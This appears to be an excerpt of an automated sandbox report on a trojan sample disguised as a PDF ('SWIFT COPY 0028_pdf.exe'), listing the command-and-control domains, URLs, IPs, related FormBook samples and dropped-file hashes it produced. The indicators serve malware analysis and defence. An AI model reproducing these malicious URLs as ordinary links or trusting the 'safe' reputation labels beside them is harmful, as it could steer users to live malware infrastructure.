http://www.madhf.tech/vpqb/?GR54yHZ8=idKeckLAh2QIGB9KZJIRJS/oZMGdTwW1FjmI9FLM0wQU5zssjU3Tb8uAKfYmb7Pqyu/QfIKYZQgeFcPlwIuov5hXyxvkYczVsVuddv1TKr98fV67HMUUNiXk30NJOQiWMtrF+8k=&9xn=fHadNpk8MVax	0%	Avira URL Cloud	safe
https://www.grandesofertas.fun/5rfk/?GR54yHZ8=sD5zUlt3wbrvSr53X/LgfhW	0%	Avira URL Cloud	safe
http://www.beythome.online/80gy/	0%	Avira URL Cloud	safe
https://static.minne.com/files/banner/minne_600x500	0%	Avira URL Cloud	safe
http://www.aziziyeescortg.xyz/wbcb/?9xn=fHadNpk8MVax&GR54yHZ8=RE7vYLyK5TU4QOP5rF5bzHvmkOBzPkLWFqcdQsIlKut3OUPHwC3RgbbGtWJhBdiGOnYKFKB5mJuPEPmtM8O0K07oOsp/5ysfwWmAOXTj0WnbyU/nOpjct5usIHCkjfDMsHKGZFI=	0%	Avira URL Cloud	safe
http://www.nuy25c9t.sbs/lmj1/	0%	Avira URL Cloud	safe
http://www.nonpressure.beauty/ymqd/?GR54yHZ8=mPy66x3IfJKracCH7wZR1aUAlhDvAV8zvELzb8KITnbno7Ubu3OHpx/EILO3OYxVnkt90JirtFkeXZQsCCcXJBbLSRzz4hD+Fif5IhUF/AIFPB6kYSO8O2aHFbYKqoGjWs62c28=&9xn=fHadNpk8MVax	100%	Avira URL Cloud	malware
http://www.tempatmudisini06.click/0kli/?GR54yHZ8=Fegsvl+OGDJHKeUkviVqrWXmfitRVJjJzbj1DgnmRmeFZ5KITSJ35O+CNkAnveOy+X8wGwFlf4nSYcZPMr6/AI0vJO7v6wOh3ABnBMRs5EHLHNUVXEXSqZ/A5JpvJLk63zT1cr4=&9xn=fHadNpk8MVax	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.aziziyeescortg.xyz	188.114.96.3	true	true	unknown
www.optimismbank.xyz	13.248.169.48	true	true	unknown
www.madhf.tech	103.224.182.242	true	true	unknown
tempatmudisini06.click	103.21.221.4	true	true	unknown
www.housew.website	203.161.46.205	true	true	unknown
b1-3-r111.kunlundns.top	43.155.76.124	true	true	unknown
natroredirect.natrocdn.com	85.159.66.93	true	false	high
www.a1shop.shop	13.248.169.48	true	true	unknown
callyur.shop	66.29.137.10	true	true	unknown
www.aiactor.xyz	13.248.169.48	true	true	unknown
ssl.goentri.com	76.223.74.74	true	true	unknown
www.questmatch.pro	188.114.96.3	true	true	unknown
www.conansog.shop	172.67.162.12	true	true	unknown
www.nonpressure.beauty	104.21.4.93	true	true	unknown
www.sitioseguro.blog	172.67.162.39	true	true	unknown
www.sankan-fukushi.info	163.44.185.183	true	true	unknown
www.grandesofertas.fun	unknown	unknown	false	unknown
www.callyur.shop	unknown	unknown	false	unknown
www.beythome.online	unknown	unknown	false	unknown
www.nuy25c9t.sbs	unknown	unknown	false	unknown
www.tempatmudisini06.click	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.tempatmudisini06.click/0kli/	true	Avira URL Cloud: safe	unknown
http://www.optimismbank.xyz/lnyv/	true	Avira URL Cloud: safe	unknown
http://www.questmatch.pro/ipd6/	true	Avira URL Cloud: safe	unknown
http://www.sitioseguro.blog/arvb/	true	Avira URL Cloud: safe	unknown
http://www.sankan-fukushi.info/21k5/?9xn=fHadNpk8MVax&GR54yHZ8=fWbmkZjyrmfBp888CcG5P/tv6YAygrCJWn0G2JrBW+aKnevZKbpm6U1ITTXCtKXlDFd/bcpJLIqCcWUwrjM1A7+iBUY3/A2GvnNR6vC/W+DoFDwg0HeJMbxHf0rMeHWrRIOFx4E=	true	Avira URL Cloud: safe	unknown
http://www.a1shop.shop/0krx/	true	Avira URL Cloud: safe	unknown
http://www.aiactor.xyz/g2y0/?GR54yHZ8=4J2ZucS0gmHveCLTumStwhEohSgzPPJ4W7Cx1bvPckMEbjsLQyn2mnrwN7XguYk0KfYRNkJmpBfqbfzPpDbCYGkLQdnxWLNNRJRrSDnZ+4vw6seRBsYWgxI51lS2SbfnTvxGN+Y=&9xn=fHadNpk8MVax	true	Avira URL Cloud: safe	unknown
http://www.nonpressure.beauty/ymqd/	true	Avira URL Cloud: malware	unknown
http://www.housew.website/4pih/	true	Avira URL Cloud: safe	unknown
http://www.sankan-fukushi.info/21k5/	true	Avira URL Cloud: safe	unknown
http://www.grandesofertas.fun/5rfk/	true	Avira URL Cloud: safe	unknown
http://www.callyur.shop/hayl/	true	Avira URL Cloud: safe	unknown
http://www.grandesofertas.fun/5rfk/?GR54yHZ8=sD5zUlt3wbrvSr53X/LgfhW+OptFCrWooNx2zE35RlOZ6Ff5bUgKRp+BgbOlYXfZZMl91myXHSHWgEoZCPkWwn0n+VmG53SX0EAb83CrCeMIkzMnSL4JpBihhagjpE3GksySBz8=&9xn=fHadNpk8MVax	true	Avira URL Cloud: safe	unknown
http://www.callyur.shop/hayl/?GR54yHZ8=7uA1bLkCaR9ampYb6jJSXGsXTCFtFEKjMbBrHkb2OaN+7KcXsqyJMoKLTM78+R5XhUdg+bLytXUVrFAv0hUdKTwX6reWgqWzJPe83oti/Pnp22FBmmdcqVWV2wV/tDaQIoOgzZo=&9xn=fHadNpk8MVax	true	Avira URL Cloud: safe	unknown
http://www.housew.website/4pih/?9xn=fHadNpk8MVax&GR54yHZ8=ZmPwAj1McUpIZiz0LuViOUq+B7yzDKheiuLx3j/o2iG3zDrxD498zlZSm94ILhpOzlwyZVIuLGPVSJZjqSUFLPfqxdekucT9Chqzy6Pm+Rnw0xtYs44Mkmek35mpNA+VZaQoqJ0=	true	Avira URL Cloud: safe	unknown
http://www.nuy25c9t.sbs/lmj1/?GR54yHZ8=JytxcoExloxtM9GYw/YkVBPtQn8SsYRrRxOyYElJ8zmzZDKm1RUtP4/aN3HHeJpfiiM3EsU/TmM7ebohnljNLiPIHS/Z5elBdrknxTUpZLsvI6YW4AGk52pDe9J+i7QDvUP60yU=&9xn=fHadNpk8MVax	true	Avira URL Cloud: safe	unknown
http://www.conansog.shop/m7wz/	true	Avira URL Cloud: safe	unknown
http://www.sitioseguro.blog/arvb/?GR54yHZ8=ZBQQqxbud8SVIvMkbBf/fVH1me8478TvMeRY2MiH3kRRc/z7OAWaNoWdi819/s5bJQ0i5xulgwkm2DEXU68//topbf+A00Q8GVm5yCYkyRQ3ElhjsG3EX+N+jW0L22iONcil9J4=&9xn=fHadNpk8MVax	true	Avira URL Cloud: safe	unknown
http://www.aiactor.xyz/g2y0/	true	Avira URL Cloud: safe	unknown
http://www.madhf.tech/vpqb/	true	Avira URL Cloud: safe	unknown
http://www.a1shop.shop/0krx/?GR54yHZ8=1C2HTrEVNWyxr52SoGOxlLLcvsNBoexmdy9Nu7HdX9lR7swAMLn31GhWzX/WtioZiLgkIr1TIYTpQv4lfQ4TwNnfiM63cxzeqfNeG1D29tziIpAE2Hdr0kt8oEMtEF+W9rbw3UA=&9xn=fHadNpk8MVax	true	Avira URL Cloud: safe	unknown
http://www.questmatch.pro/ipd6/?9xn=fHadNpk8MVax&GR54yHZ8=MAf2oATgQW2BddVfADsXf+wCIFqkr7SFGuPP0SlPqjR1OOKK8KBvL1kFaoovUHshjlod7xBKsGH7WboeoPfL5uc/jX4WzK3nYbDP1BFL1MIpigvL/S+Ybe5ZZiUbOMV88bEfnEo=	true	Avira URL Cloud: safe	unknown
http://www.madhf.tech/vpqb/?GR54yHZ8=idKeckLAh2QIGB9KZJIRJS/oZMGdTwW1FjmI9FLM0wQU5zssjU3Tb8uAKfYmb7Pqyu/QfIKYZQgeFcPlwIuov5hXyxvkYczVsVuddv1TKr98fV67HMUUNiXk30NJOQiWMtrF+8k=&9xn=fHadNpk8MVax	true	Avira URL Cloud: safe	unknown
http://www.beythome.online/80gy/	true	Avira URL Cloud: safe	unknown
http://www.aziziyeescortg.xyz/wbcb/?9xn=fHadNpk8MVax&GR54yHZ8=RE7vYLyK5TU4QOP5rF5bzHvmkOBzPkLWFqcdQsIlKut3OUPHwC3RgbbGtWJhBdiGOnYKFKB5mJuPEPmtM8O0K07oOsp/5ysfwWmAOXTj0WnbyU/nOpjct5usIHCkjfDMsHKGZFI=	true	Avira URL Cloud: safe	unknown
http://www.nuy25c9t.sbs/lmj1/	true	Avira URL Cloud: safe	unknown
http://www.tempatmudisini06.click/0kli/?GR54yHZ8=Fegsvl+OGDJHKeUkviVqrWXmfitRVJjJzbj1DgnmRmeFZ5KITSJ35O+CNkAnveOy+X8wGwFlf4nSYcZPMr6/AI0vJO7v6wOh3ABnBMRs5EHLHNUVXEXSqZ/A5JpvJLk63zT1cr4=&9xn=fHadNpk8MVax	true	Avira URL Cloud: safe	unknown
http://www.nonpressure.beauty/ymqd/?GR54yHZ8=mPy66x3IfJKracCH7wZR1aUAlhDvAV8zvELzb8KITnbno7Ubu3OHpx/EILO3OYxVnkt90JirtFkeXZQsCCcXJBbLSRzz4hD+Fif5IhUF/AIFPB6kYSO8O2aHFbYKqoGjWs62c28=&9xn=fHadNpk8MVax	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	rasautou.exe, 00000004.00000002.4616647777.0000000007E7B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	rasautou.exe, 00000004.00000002.4616647777.0000000007E7B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.nonpressure.beauty	nBMWUKLuWlMJko.exe, 00000006.00000002.4613324935.0000000002DD6000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	rasautou.exe, 00000004.00000002.4616647777.0000000007E7B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lolipop.jp/	rasautou.exe, 00000004.00000002.4614264307.0000000005B08000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000003928000.00000004.00000001.00040000.00000000.sdmp	false		high
https://pepabo.com/	rasautou.exe, 00000004.00000002.4614264307.0000000005B08000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000003928000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer	rasautou.exe, 00000004.00000002.4614264307.00000000062E2000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000004102000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.madhf.tech/vpqb/?GR54yHZ8=idKeckLAh2QIGB9KZJIRJS/oZMGdTwW1FjmI9FLM0wQU5zssjU3Tb8uAKfYmb7P	nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.00000000045B8000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	rasautou.exe, 00000004.00000002.4616647777.0000000007E7B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	rasautou.exe, 00000004.00000002.4614264307.0000000006474000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000004294000.00000004.00000001.00040000.00000000.sdmp	false		high
https://support.lolipop.jp/hc/ja/articles/360049132953	rasautou.exe, 00000004.00000002.4614264307.0000000005B08000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000003928000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kb.fastpanel.direct/troubleshoot/	rasautou.exe, 00000004.00000002.4614264307.0000000006C4E000.00000004.10000000.00040000.00000000.sdmp, rasautou.exe, 00000004.00000002.4616494626.0000000007B20000.00000004.00000800.00020000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000004A6E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	rasautou.exe, 00000004.00000002.4616647777.0000000007E7B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://minne.com/?utm_source=lolipop&utm_medium=banner&utm_campaign=synergy&utm_content=404	rasautou.exe, 00000004.00000002.4614264307.0000000005B08000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000003928000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://assets.lolipop.jp/img/bnr/bnr_lolipop_ad_001.gif	rasautou.exe, 00000004.00000002.4614264307.0000000005B08000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000003928000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	rasautou.exe, 00000004.00000002.4616647777.0000000007E7B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	rasautou.exe, 00000004.00000002.4616647777.0000000007E7B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.grandesofertas.fun/5rfk/?GR54yHZ8=sD5zUlt3wbrvSr53X/LgfhW	rasautou.exe, 00000004.00000002.4614264307.0000000005976000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000003796000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://js.ad-stir.com/js/adstir.js?20130527	rasautou.exe, 00000004.00000002.4614264307.0000000005B08000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000003928000.00000004.00000001.00040000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	rasautou.exe, 00000004.00000002.4616647777.0000000007E7B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://static.minne.com/files/banner/minne_600x500	rasautou.exe, 00000004.00000002.4614264307.0000000005B08000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000003928000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.248.169.48	www.optimismbank.xyz	United States	16509	AMAZON-02US	true
163.44.185.183	www.sankan-fukushi.info	Japan	7506	INTERQGMOInternetIncJP	true
103.224.182.242	www.madhf.tech	Australia	133618	TRELLIAN-AS-APTrellianPtyLimitedAU	true
43.155.76.124	b1-3-r111.kunlundns.top	Japan	4249	LILLY-ASUS	true
172.67.162.39	www.sitioseguro.blog	United States	13335	CLOUDFLARENETUS	true
76.223.74.74	ssl.goentri.com	United States	16509	AMAZON-02US	true
85.159.66.93	natroredirect.natrocdn.com	Turkey	34619	CIZGITR	false
103.21.221.4	tempatmudisini06.click	unknown	9905	LINKNET-ID-APLinknetASNID	true
172.67.162.12	www.conansog.shop	United States	13335	CLOUDFLARENETUS	true
188.114.96.3	www.aziziyeescortg.xyz	European Union	13335	CLOUDFLARENETUS	true
104.21.4.93	www.nonpressure.beauty	United States	13335	CLOUDFLARENETUS	true
203.161.46.205	www.housew.website	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	true
66.29.137.10	callyur.shop	United States	19538	ADVANTAGECOMUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559148
Start date and time:	2024-11-20 08:30:25 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SWIFT COPY 0028_pdf.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/3@17/13
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 97% Number of executed functions: 52 Number of non-executed functions: 295
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target nBMWUKLuWlMJko.exe, PID 2940 because it is empty
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: SWIFT COPY 0028_pdf.exe

Simulations

Behavior and APIs

Time	Type	Description
02:32:11	API Interceptor	12181616x Sleep call for process: rasautou.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.248.169.48	New Order - RCII900718_Contract Drafting.exe	Get hash	malicious	FormBook	Browse	www.avalanchefi.xyz/ctta/
	need quotations.exe	Get hash	malicious	FormBook	Browse	www.egldfi.xyz/3e55/
	Quotation request -30112024_pdf.exe	Get hash	malicious	FormBook	Browse	www.tals.xyz/010v/
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	www.wajf.net/dkz5/
	rG5EzfUhUp.exe	Get hash	malicious	Sakula RAT	Browse	www.polarroute.com/newimage.asp?imageid=zcddwc1730788541&type=0&resid=5322796
	dhl009544554961.INV.PEK.CO.041.20241115.183845.20241115.183948.34872.exe	Get hash	malicious	FormBook	Browse	www.extrem.tech/ikn1/
	Hire P.O.exe	Get hash	malicious	FormBook	Browse	www.sonoscan.org/ew98/
	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	www.hopeisa.live/v0jl/
	DHL SHIPPING CONFIRMATION-SAMPLES DELIVERY ADDRESS.exe	Get hash	malicious	FormBook	Browse	www.layerzero.cfd/8f5m/
	rGO880-PDF.exe	Get hash	malicious	FormBook	Browse	www.reviewpro.shop/aclh/
163.44.185.183	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	www.sankan-fukushi.info/p9qy/
163.44.185.183	order I 018629.xlsx	Get hash	malicious	FormBook	Browse	www.hihoha-menu.com/g24i/?Ij=C5lZ/tNmDIazGhz+mgSCdtEua581lzsfl6vwo2v3mqTQwnv5rjnUBpQzMVK0NvbkQlVLQw==&0f=e0DHTPtxAZK
103.224.182.242	PROFORMA INVOICE.exe	Get hash	malicious	FormBook	Browse	www.klohk.tech/3m3e/
	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	www.madhf.tech/p31e/
	http://perpetualsnob.com	Get hash	malicious	Unknown	Browse	perpetualsnob.com/?fp=a3db7cd464228025d120ca597c81b5f2
	Shipping documents..exe	Get hash	malicious	FormBook	Browse	www.klohk.tech/3m3e/
	SALARY OF OCT 2024.exe	Get hash	malicious	FormBook	Browse	www.klohk.tech/3m3e/
	Doc 784-01965670.exe	Get hash	malicious	FormBook	Browse	www.givingaway123.net/1juc/
	BL.exe	Get hash	malicious	FormBook	Browse	www.givingaway123.net/1juc/
	BILL OF LADDING.exe	Get hash	malicious	FormBook	Browse	www.givingaway123.net/1juc/
	jpdy1E8K4A.exe	Get hash	malicious	FormBook	Browse	www.nobartv6.website/pp43/
	CITA#U00c7#U00c3O.exe	Get hash	malicious	FormBook	Browse	www.nobartv6.website/pp43/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
b1-3-r111.kunlundns.top	PO-DC13112024_pdf.vbs	Get hash	malicious	Unknown	Browse	43.155.76.124
	3NvALxFlHV.exe	Get hash	malicious	FormBook	Browse	43.155.76.124
	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	43.155.76.124
	QUOTE2342534.exe	Get hash	malicious	FormBook	Browse	129.226.56.200
	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAIL.exe	Get hash	malicious	FormBook	Browse	129.226.56.200
	Re property pdf.exe	Get hash	malicious	FormBook	Browse	129.226.56.200
natroredirect.natrocdn.com	need quotations.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	Certificate 11-18720.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	RvJVMsNLJI.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	Certificate 64411-18.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	Certificate 11-17.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	Certificate 11-142024.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	Hire P.O.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	rDocument11-142024.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	DHL SHIPPING CONFIRMATION-SAMPLES DELIVERY ADDRESS.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	rGO880-PDF.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
www.conansog.shop	FOTO#U011eRAFLAR.exe	Get hash	malicious	FormBook	Browse	104.21.41.74
www.madhf.tech	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	103.224.182.242
ssl.goentri.com	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	76.223.74.74

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TRELLIAN-AS-APTrellianPtyLimitedAU	PROFORMA INVOICE.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	103.224.182.242
	8dPlV2lT8o.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
	7ObLFE2iMK.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
	UMwpXhA46R.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
	1fWgBXPgiT.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
	arxtPs1STE.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
	Z8eHwAvqAh.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
	WlCVLbzNph.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
	Bpfz752pYZ.exe	Get hash	malicious	Simda Stealer	Browse	103.224.182.252
AMAZON-02US	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	18.245.60.53
	New Order - RCII900718_Contract Drafting.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	x86-20241120-0553.elf	Get hash	malicious	Unknown	Browse	34.254.182.186
	arm7.nn-20241120-0508.elf	Get hash	malicious	Mirai, Okiru	Browse	3.131.202.239
	meow.arm7.elf	Get hash	malicious	Unknown	Browse	44.252.140.153
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	18.202.159.69
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse	54.154.143.167
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	3.191.65.152
	need quotations.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	https://atpscan.global.hornetsecurity.com/?d=zgarMAzqF8gJdiyz7BRUZX8-Kt1RoHrhrMmKtaU9kW8&f=VhLn9tqiibnSyqWDnEopjApZtye8WgAc5bwx7BMFWiKwqjA1EcPjZyfvoQy11klP&i=&k=QQhP&m=0jL9ajZ_jxYnMJb2yb4luNRYQCXy24RTS6RPwUyZoAcuBVX0kzGA69aOJSo0d2htwIsi238bOVH3h3HqrhJGfzTuFk7GTjJWYsgIrocXphf5x2p4nZ7S2EABjAck31fG&n=TU5FjsulXTMv8aeSlx257utLr9bUpfdm0dDB4GNEHfOuhOvtIOr62mZHw3PXGZeG&r=qntyoaxGftDLRu_wopiK2t_EdeZaeg9mP15ZZI-qDen_3s7cQ10pAlhKQQnYAIUX&s=c4a8f5ec353e41b8b414bdcf47b33dd5d6b52b0394e0e4a09cc54527f49761c3&u=https%3A%2F%2Fthe1oomisagency.com%2Fthyu%2F	Get hash	malicious	Unknown	Browse	108.138.7.92
INTERQGMOInternetIncJP	exe009.exe	Get hash	malicious	Emotet	Browse	157.7.164.178
	https://us-west-2.protection.sophos.com/?d=vercel.app&u=aHR0cHM6Ly93ZWJtYWlsLWF1dGgtc2VjLnZlcmNlbC5hcHA=&i=NWVjYjQ2MzZmNTgwNWIwZWJlZWZkM2Fl&t=UXZ3YkZpNSszWkdZNlBPdUNtNGVRQTM2ZzV1SmdscHZTN2E0TDhEQUVMYz0=&h=41cf60c27bc24f608fa5f6f60edfa437&s=AVNPUEhUT0NFTkNSWVBUSVYWbs5htFrsKfDZKi2vxyeN8JAV7eyBc8AqkmOaHaHVi8YGx5zRAzUm2TNYTJQ1rCs#Ymtqb29AaGRlbC5jby5rcg==	Get hash	malicious	Unknown	Browse	150.95.219.20
	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	163.44.185.183
	TT copy.exe	Get hash	malicious	FormBook	Browse	150.95.254.16
	botnet.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	150.95.219.222
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	157.7.100.20
	RO2Y11yOJ7.exe	Get hash	malicious	FormBook	Browse	150.95.254.16
	DHL_doc.exe	Get hash	malicious	FormBook	Browse	163.44.176.12
	r6lOHDg9N9.exe	Get hash	malicious	FormBook	Browse	133.130.35.90
	SECRFQ2024-0627 - ON HAND PROJECT - NEOM PROJECTS - SAUDI ELAF Co..exe	Get hash	malicious	FormBook	Browse	150.95.254.16

Process:	C:\Windows\SysWOW64\rasautou.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Dunlop

Download File

Process:	C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	290304
Entropy (8bit):	7.9949146605094334
Encrypted:	true
SSDEEP:	6144:ZA7Db8gAPqzuZKz+2Ezm07IQoG5dBpDd0y8RhaD+g:xPqzQK/Ezm07Iy5dzDuyAhpg
MD5:	5A5958BCA86E6545C97B0BF8A3846103
SHA1:	20E4B02D639609C60F5C3E62C149FD46C51D2856
SHA-256:	A14D0B58AE2CC9D7C8094A5FBE111D9B99299A591FCEBBBC4C63EDAA01B2080C
SHA-512:	8FEB32EE7EA5E5C56C8E11BD4B03AAFF848A2FA3738F81B8FB617FCAD0659127802B04EFB8AC924540039543CAD9B4A8A73441BB66233D9B4A60E34E83050838
Malicious:	false
Reputation:	low
